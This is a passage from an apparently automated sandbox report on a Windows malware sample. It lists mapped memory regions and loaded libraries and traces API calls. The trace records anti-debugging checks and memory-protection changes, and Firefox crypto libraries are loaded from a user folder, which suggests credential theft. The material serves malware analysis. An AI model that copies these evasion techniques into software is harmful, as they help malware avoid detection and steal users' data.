0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 952 start_va = 0x870000 end_va = 0x94efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000870000" filename = "" Region: id = 953 start_va = 0x980000 end_va = 0xc4efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 968 start_va = 0x140000 end_va = 0x141fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 969 start_va = 0x73a90000 end_va = 0x73c2dfff monitored = 0 entry_point = 0x73abe6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 970 start_va = 0x3e0000 end_va = 0x3e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 971 start_va = 0x3f0000 end_va = 0x3f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 975 start_va = 0x3e0000 end_va = 0x3e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003e0000" filename = "" Region: id = 976 start_va = 0x748d0000 end_va = 0x748dafff monitored = 0 entry_point = 0x748d1992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 985 start_va = 0x400000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "index.dat" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 986 start_va = 0x410000 end_va = 0x417fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "index.dat" filename = "\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 987 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "index.dat" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 988 start_va = 0x75960000 end_va = 0x75994fff monitored = 0 entry_point = 0x7596145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 992 start_va = 0x76960000 end_va = 0x76965fff monitored = 0 entry_point = 0x76961782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 997 start_va = 0x27e0000 end_va = 0x287ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027e0000" filename = "" Region: id = 998 start_va = 0x74850000 end_va = 0x74893fff monitored = 0 entry_point = 0x748663f9 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 1001 start_va = 0x2880000 end_va = 0x295ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002880000" filename = "" Region: id = 1002 start_va = 0x74830000 end_va = 0x7484bfff monitored = 0 entry_point = 0x7483a431 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 1003 start_va = 0x74820000 end_va = 0x74826fff monitored = 0 entry_point = 0x7482128d region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 1004 start_va = 0x74f20000 end_va = 0x74f22fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\SysWOW64\\normaliz.dll" (normalized: "c:\\windows\\syswow64\\normaliz.dll") Region: id = 1005 start_va = 0x28e0000 end_va = 0x291ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000028e0000" filename = "" Region: id = 1006 start_va = 0x2920000 end_va = 0x295ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002920000" filename = "" Region: id = 1007 start_va = 0x2a80000 end_va = 0x2b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a80000" filename = "" Region: id = 1008 start_va = 0x73990000 end_va = 0x739e1fff monitored = 0 entry_point = 0x739914be region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\SysWOW64\\rasapi32.dll" (normalized: "c:\\windows\\syswow64\\rasapi32.dll") Region: id = 1009 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 1010 start_va = 0x73970000 end_va = 0x73984fff monitored = 0 entry_point = 0x739712de region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\SysWOW64\\rasman.dll" (normalized: "c:\\windows\\syswow64\\rasman.dll") Region: id = 1011 start_va = 0x73960000 end_va = 0x7396cfff monitored = 0 entry_point = 0x73961326 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\SysWOW64\\rtutils.dll" (normalized: "c:\\windows\\syswow64\\rtutils.dll") Region: id = 1012 start_va = 0x640000 end_va = 0x640fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 1013 start_va = 0x640000 end_va = 0x640fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 1014 start_va = 0x7a0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 1015 start_va = 0x810000 end_va = 0x84ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 1016 start_va = 0x2a10000 end_va = 0x2a4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a10000" filename = "" Region: id = 1017 start_va = 0x2c90000 end_va = 0x2d8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c90000" filename = "" Region: id = 1018 start_va = 0x2db0000 end_va = 0x2eaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002db0000" filename = "" Region: id = 1019 start_va = 0x73950000 end_va = 0x73955fff monitored = 0 entry_point = 0x7395125a region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\SysWOW64\\SensApi.dll" (normalized: "c:\\windows\\syswow64\\sensapi.dll") Region: id = 1020 start_va = 0x7efad000 end_va = 0x7efaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 1021 start_va = 0x7efd5000 end_va = 0x7efd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 1022 start_va = 0x2bd0000 end_va = 0x2c0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bd0000" filename = "" Region: id = 1023 start_va = 0x2fb0000 end_va = 0x30affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1024 start_va = 0x73940000 end_va = 0x7394ffff monitored = 0 entry_point = 0x739438c1 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\SysWOW64\\nlaapi.dll" (normalized: "c:\\windows\\syswow64\\nlaapi.dll") Region: id = 1025 start_va = 0x7efaa000 end_va = 0x7efacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 1026 start_va = 0x30b0000 end_va = 0x326ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000030b0000" filename = "" Region: id = 1027 start_va = 0x30b0000 end_va = 0x325ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000030b0000" filename = "" Region: id = 1028 start_va = 0x3260000 end_va = 0x326ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003260000" filename = "" Region: id = 1029 start_va = 0x3270000 end_va = 0x341ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003270000" filename = "" Region: id = 1030 start_va = 0x747b0000 end_va = 0x747b5fff monitored = 0 entry_point = 0x747b14b2 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 1031 start_va = 0x650000 end_va = 0x650fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000650000" filename = "" Region: id = 1032 start_va = 0x747e0000 end_va = 0x7481bfff monitored = 0 entry_point = 0x747e145d region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 1033 start_va = 0x2eb0000 end_va = 0x2f8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002eb0000" filename = "" Region: id = 1034 start_va = 0x747d0000 end_va = 0x747d4fff monitored = 0 entry_point = 0x747d15df region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\SysWOW64\\WSHTCPIP.DLL" (normalized: "c:\\windows\\syswow64\\wshtcpip.dll") Region: id = 1035 start_va = 0x2f00000 end_va = 0x2f3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002f00000" filename = "" Region: id = 1036 start_va = 0x2f50000 end_va = 0x2f8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002f50000" filename = "" Region: id = 1037 start_va = 0x3110000 end_va = 0x320ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003110000" filename = "" Region: id = 1038 start_va = 0x3250000 end_va = 0x325ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003250000" filename = "" Region: id = 1039 start_va = 0x3270000 end_va = 0x336ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003270000" filename = "" Region: id = 1040 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 1041 start_va = 0x660000 end_va = 0x670fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_20127.nls" filename = "\\Windows\\System32\\C_20127.NLS" (normalized: "c:\\windows\\system32\\c_20127.nls") Region: id = 1066 start_va = 0x680000 end_va = 0x680fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1067 start_va = 0x790000 end_va = 0x796fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1069 start_va = 0x680000 end_va = 0x680fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1070 start_va = 0x790000 end_va = 0x796fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1077 start_va = 0x3370000 end_va = 0x3570fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003370000" filename = "" Region: id = 1079 start_va = 0x3370000 end_va = 0x3470fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003370000" filename = "" Region: id = 1080 start_va = 0x3480000 end_va = 0x3580fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003480000" filename = "" Region: id = 1082 start_va = 0x61e00000 end_va = 0x61ef0fff monitored = 1 entry_point = 0x61e01400 region_type = mapped_file name = "sqlite3.dll" filename = "\\Users\\kEecfMwgj\\AppData\\LocalLow\\sqlite3.dll" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sqlite3.dll") Region: id = 1084 start_va = 0x71c40000 end_va = 0x71e35fff monitored = 1 entry_point = 0x71d901d0 region_type = mapped_file name = "nss3.dll" filename = "\\Users\\kEecfMwgj\\AppData\\LocalLow\\nss3.dll" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\nss3.dll") Region: id = 1085 start_va = 0x71ba0000 end_va = 0x71c3cfff monitored = 1 entry_point = 0x71be2fb0 region_type = mapped_file name = "mozglue.dll" filename = "\\Users\\kEecfMwgj\\AppData\\LocalLow\\mozglue.dll" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\mozglue.dll") Region: id = 1086 start_va = 0x680000 end_va = 0x680fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 1087 start_va = 0x72920000 end_va = 0x7298ffff monitored = 0 entry_point = 0x7295ec20 region_type = mapped_file name = "msvcp140.dll" filename = "\\Windows\\SysWOW64\\msvcp140.dll" (normalized: "c:\\windows\\syswow64\\msvcp140.dll") Region: id = 1088 start_va = 0x72900000 end_va = 0x72913fff monitored = 0 entry_point = 0x7290e290 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Windows\\SysWOW64\\vcruntime140.dll" (normalized: "c:\\windows\\syswow64\\vcruntime140.dll") Region: id = 1089 start_va = 0x728f0000 end_va = 0x728f3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-runtime-l1-1-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-crt-runtime-l1-1-0.dll") Region: id = 1090 start_va = 0x72810000 end_va = 0x728ebfff monitored = 0 entry_point = 0x7283c130 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\SysWOW64\\ucrtbase.dll" (normalized: "c:\\windows\\syswow64\\ucrtbase.dll") Region: id = 1091 start_va = 0x72800000 end_va = 0x72802fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-timezone-l1-1-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-timezone-l1-1-0.dll") Region: id = 1092 start_va = 0x727f0000 end_va = 0x727f2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-file-l2-1-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-file-l2-1-0.dll") Region: id = 1093 start_va = 0x727e0000 end_va = 0x727e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-localization-l1-2-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-localization-l1-2-0.dll") Region: id = 1094 start_va = 0x734f0000 end_va = 0x734f2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 1095 start_va = 0x727d0000 end_va = 0x727d2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-processthreads-l1-1-1.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-processthreads-l1-1-1.dll") Region: id = 1096 start_va = 0x727c0000 end_va = 0x727c2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-file-l1-2-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-file-l1-2-0.dll") Region: id = 1097 start_va = 0x727b0000 end_va = 0x727b2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-heap-l1-1-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-crt-heap-l1-1-0.dll") Region: id = 1098 start_va = 0x727a0000 end_va = 0x727a3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-string-l1-1-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-crt-string-l1-1-0.dll") Region: id = 1099 start_va = 0x72790000 end_va = 0x72793fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-stdio-l1-1-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-crt-stdio-l1-1-0.dll") Region: id = 1100 start_va = 0x72780000 end_va = 0x72783fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-convert-l1-1-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-crt-convert-l1-1-0.dll") Region: id = 1101 start_va = 0x72770000 end_va = 0x72772fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-locale-l1-1-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-crt-locale-l1-1-0.dll") Region: id = 1102 start_va = 0x72760000 end_va = 0x72762fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-filesystem-l1-1-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-crt-filesystem-l1-1-0.dll") Region: id = 1103 start_va = 0x72750000 end_va = 0x72752fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-time-l1-1-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-crt-time-l1-1-0.dll") Region: id = 1104 start_va = 0x72740000 end_va = 0x72742fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-environment-l1-1-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-crt-environment-l1-1-0.dll") Region: id = 1105 start_va = 0x72730000 end_va = 0x72734fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-math-l1-1-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-crt-math-l1-1-0.dll") Region: id = 1106 start_va = 0x72720000 end_va = 0x72722fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-utility-l1-1-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-crt-utility-l1-1-0.dll") Region: id = 1107 start_va = 0x74920000 end_va = 0x74926fff monitored = 0 entry_point = 0x74921120 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\SysWOW64\\wsock32.dll" (normalized: "c:\\windows\\syswow64\\wsock32.dll") Region: id = 1108 start_va = 0x72710000 end_va = 0x72714fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-multibyte-l1-1-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-crt-multibyte-l1-1-0.dll") Region: id = 1109 start_va = 0x71a10000 end_va = 0x71b9ffff monitored = 0 entry_point = 0x71aad026 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll") Region: id = 1110 start_va = 0x3370000 end_va = 0x348ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003370000" filename = "" Region: id = 1111 start_va = 0x790000 end_va = 0x790fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 1112 start_va = 0x2800000 end_va = 0x283ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002800000" filename = "" Region: id = 1113 start_va = 0x2840000 end_va = 0x287ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002840000" filename = "" Region: id = 1114 start_va = 0x34f0000 end_va = 0x35effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000034f0000" filename = "" Region: id = 1115 start_va = 0x35f0000 end_va = 0x3ae1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000035f0000" filename = "" Region: id = 1116 start_va = 0x7efa4000 end_va = 0x7efa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 1117 start_va = 0x71910000 end_va = 0x71a0afff monitored = 0 entry_point = 0x719217e1 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\SysWOW64\\WindowsCodecs.dll" (normalized: "c:\\windows\\syswow64\\windowscodecs.dll") Region: id = 1118 start_va = 0x7e0000 end_va = 0x7e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007e0000" filename = "" Region: id = 1119 start_va = 0x7f0000 end_va = 0x7f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 1120 start_va = 0x3370000 end_va = 0x346ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003370000" filename = "" Region: id = 1121 start_va = 0x3480000 end_va = 0x348ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003480000" filename = "" Region: id = 1122 start_va = 0x35f0000 end_va = 0x36f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000035f0000" filename = "" Thread: id = 10 os_tid = 0x734 [0239.597] LocalAlloc (uFlags=0x0, uBytes=0xc8) returned 0x6a1b98 [0239.604] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x752b0000 [0239.612] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x76f00000 [0239.735] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x1a, ProcessInformation=0x24f9a8, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x24f9a8, ReturnLength=0x0) returned 0x0 [0239.738] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x7, ProcessInformation=0x24f3f0, ProcessInformationLength=0x8, ReturnLength=0x0 | out: ProcessInformation=0x24f3f0, ReturnLength=0x0) returned 0x0 [0239.739] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x1e, ProcessInformation=0x24f3f0, ProcessInformationLength=0x8, ReturnLength=0x24fb84 | out: ProcessInformation=0x24f3f0, ReturnLength=0x24fb84) returned 0xc0000353 [0239.742] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x1e, ProcessInformation=0x24f3f0, ProcessInformationLength=0x8, ReturnLength=0x1 | out: ProcessInformation=0x24f3f0, ReturnLength=0x1) returned 0xc0000005 [0239.743] NtSetInformationThread (ThreadHandle=0xfffffffffffffffe, ThreadInformationClass=0x11, ThreadInformation=0x0, ThreadInformationLength=0x0) returned 0x0 [0239.745] NtQuerySystemInformation (in: SystemInformationClass=0x23, SystemInformation=0x24fb18, Length=0x2, ResultLength=0x0 | out: SystemInformation=0x24fb18, ResultLength=0x0) returned 0x0 [0239.745] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x24fb34, Length=0x0, ResultLength=0x24fb24 | out: SystemInformation=0x24fb34, ResultLength=0x24fb24*=0xbff0) returned 0xc0000004 [0239.748] LocalAlloc (uFlags=0x0, uBytes=0x17fe0) returned 0x6a1c68 [0239.749] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x6a1c68, Length=0x17fe0, ResultLength=0x0 | out: SystemInformation=0x6a1c68, ResultLength=0x0) returned 0x0 [0239.940] LocalFree (hMem=0x6a1c68) returned 0x0 [0240.115] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x7, ProcessInformation=0x24f3f0, ProcessInformationLength=0x8, ReturnLength=0x0 | out: ProcessInformation=0x24f3f0, ReturnLength=0x0) returned 0x0 [0240.116] NtSetInformationThread (ThreadHandle=0xfffffffffffffffe, ThreadInformationClass=0x11, ThreadInformation=0x0, ThreadInformationLength=0x0) returned 0x0 [0240.116] GetModuleFileNameW (in: hModule=0xc80000, lpFilename=0x24f640, nSize=0xfe | out: lpFilename="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\2.0.0-beta2.cps.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\2.0.0-beta2.cps.exe")) returned 0x39 [0240.119] NtOpenFile (in: FileHandle=0x24f3ec, DesiredAccess=0x80100080, ObjectAttributes=0x24f3b0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\2.0.0-beta2.cps.exe", Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x24f3dc, ShareAccess=0x3, OpenOptions=0x60 | out: FileHandle=0x24f3ec*=0x5c, IoStatusBlock=0x24f3dc*(Status=0x0, Pointer=0x206000000000000, Information=0x1)) returned 0x0 [0240.120] NtCreateSection (in: SectionHandle=0x24f3e8, DesiredAccess=0x4, ObjectAttributes=0x24f3c0*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x5c | out: SectionHandle=0x24f3e8*=0x60) returned 0x0 [0240.121] NtMapViewOfSection (in: SectionHandle=0x60, ProcessHandle=0xffffffffffffffff, BaseAddress=0x24f3dc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x24f3d4*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x2 | out: BaseAddress=0x24f3dc*=0x27e0000, SectionOffset=0x0, ViewSize=0x24f3d4*=0x2d755000) returned 0x0 [0240.410] NtUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x27e0000) returned 0x0 [0240.537] NtClose (Handle=0x60) returned 0x0 [0240.538] NtClose (Handle=0x5c) returned 0x0 [0240.539] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x24f3f0*=0xc8f000, NumberOfBytesToProtect=0x24f3e8, NewAccessProtection=0x40, OldAccessProtection=0x24fa04 | out: BaseAddress=0x24f3f0*=0xc8f000, NumberOfBytesToProtect=0x24f3e8, OldAccessProtection=0x24fa04*=0x20) returned 0x0 [0240.552] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x24f3f0*=0xc8b000, NumberOfBytesToProtect=0x24f3e8, NewAccessProtection=0x4, OldAccessProtection=0x24fa04 | out: BaseAddress=0x24f3f0*=0xc8b000, NumberOfBytesToProtect=0x24f3e8, OldAccessProtection=0x24fa04*=0x2) returned 0x0 [0240.553] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x24f3f0*=0xcb4000, NumberOfBytesToProtect=0x24f3e8, NewAccessProtection=0x4, OldAccessProtection=0x24fa04 | out: BaseAddress=0x24f3f0*=0xcb4000, NumberOfBytesToProtect=0x24f3e8, OldAccessProtection=0x24fa04*=0x80) returned 0x0 [0240.554] CloseHandle (hObject=0xdeadc0de) returned 0 [0240.603] VirtualQuery (in: lpAddress=0x11f209c, lpBuffer=0x24ee1c, dwLength=0x1c | out: lpBuffer=0x24ee1c*(BaseAddress=0x11f2000, AllocationBase=0xc80000, AllocationProtect=0x80, RegionSize=0x1df000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c [0240.604] RtlUnwind (TargetFrame=0x24fbf8, TargetIp=0xcab538, ExceptionRecord=0x0, ReturnValue=0x0) [0240.604] RtlUnwind (TargetFrame=0x24fbf8, TargetIp=0xcab538, ExceptionRecord=0x0, ReturnValue=0x0) [0240.605] RtlUnwind 